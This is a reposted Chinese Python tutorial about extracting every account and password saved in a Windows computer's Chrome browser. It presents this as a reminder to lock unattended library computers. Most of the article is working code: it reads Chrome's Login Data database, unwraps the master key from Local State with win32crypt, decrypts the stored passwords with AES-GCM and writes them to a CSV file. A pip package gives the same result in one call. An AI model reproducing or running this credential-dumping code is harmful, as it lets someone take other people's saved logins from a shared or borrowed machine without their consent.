脚本之家,脚本语言编程技术及教程分享平台!
分类导航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|shell|

服务器之家 - 脚本之家 - Python - 基于Python实现一键获取电脑浏览器的账号密码

基于Python实现一键获取电脑浏览器的账号密码

2022-12-26 13:13白露未晞me Python

发现很多人在学校图书馆喜欢用电脑占座,而且出去的时候经常不锁屏,为了让大家养成良好的习惯,本文将分享一个小程序,可以快速获取你存储在电脑浏览器中的所有账号和密码,感兴趣的可以了解一下

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

基于Python实现一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
  sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
  client = sqlite3.connect(dbpath)
  cursor = client.cursor()
  with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
      cursor.execute(sql)
      csv_writer = csv.writer(csv_file, dialect=('excel'))
      if not self.write_heads_flag:
          csv_writer.writerow(self.csv_heads)
          self.write_heads_flag = True
      info = []
      for row in cursor.fetchall():
          for idx in range(len(self.csv_heads)):
              if isinstance(row[idx], bytes):
                  info.append(self.decrypt(row[idx], master_key))
              else:
                  info.append(row[idx])
          csv_writer.writerow(info)
          info = []
  cursor.close()
  client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

基于Python实现一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
  import win32crypt
  with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
      local_state = fp.read()
      local_state = json.loads(local_state)
  master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
  master_key = master_key[5:]
  master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
  return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
  print(value)
  if value[:3] == b'v10':
      from Crypto.Cipher import AES
      iv, payload = value[3:15], value[15:]
      cipher = AES.new(master_key, AES.MODE_GCM, iv)
      decrypted_value = cipher.decrypt(payload)
      decrypted_value = decrypted_value[:-16].decode()
  else:
      import win32crypt
      decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
  return decrypted_value

解码之后的运行效果结果如下:

基于Python实现一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

基于Python实现一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了,更多相关Python浏览器账号密码内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!

原文链接:https://mp.weixin.qq.com/s/sotiVBWrFxcyYAgdRJ5ydA

延伸 · 阅读

精彩推荐
  • Pythonpython编程实现12306的一个小爬虫实例

    python编程实现12306的一个小爬虫实例

    这篇文章主要介绍了python编程实现12306的一个小爬虫实例,具有一定借鉴价值,需要的朋友可以参考下。...

    sentimental_dog7172020-12-29
  • Python用python计算文件的MD5值

    用python计算文件的MD5值

    这篇文章主要介绍了用python计算文件的MD5值的方法,帮助大家更好的理解和使用python,感兴趣的朋友可以了解下...

    笑得开心4732021-08-18
  • PythonPython实现LRU算法

    Python实现LRU算法

    这篇文章主要为大家详细介绍了Python实现LRU缓存置换算法,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...

    旺旺小小超5222022-11-06
  • Python解决import tensorflow导致jupyter内核死亡的问题

    解决import tensorflow导致jupyter内核死亡的问题

    这篇文章主要介绍了解决import tensorflow导致jupyter内核死亡的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...

    凛雨时冽7332021-09-03
  • PythonJupyter Notebook读入csv文件时出错的解决方案

    Jupyter Notebook读入csv文件时出错的解决方案

    这篇文章主要介绍了Jupyter Notebook读入csv文件时出错的解决方案,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...

    菜小白不是菜7952021-09-27
  • PythonPython新手们容易犯的几个错误总结

    Python新手们容易犯的几个错误总结

    python语言里面有一些小的坑,特别容易弄混弄错,初学者若不注意的话,很容易坑进去,下面我给大家深入解析一些这几个坑,希望对初学者有所帮助,需...

    菜鸟学Python5372020-09-27
  • Pythonmatplotlib之pyplot模块添加文本、注解(text和annotate)

    matplotlib之pyplot模块添加文本、注解(text和annotate)

    matplotlib是python最著名的绘图库,它提供了一整套和matlab相似的命令API,十分适合交互式地行制图,下面这篇文章主要给大家介绍了关于matplotlib之pyplot模块添加...

    mighty1310472022-12-24
  • PythonPython减少循环层次和缩进的技巧分析

    Python减少循环层次和缩进的技巧分析

    这篇文章主要介绍了Python减少循环层次和缩进的技巧,结合实例形式较为详细的分析了Python优化代码跳出循环以减少循环层次的技巧,具有一定参考借鉴价值...

    小谈博客6402020-08-16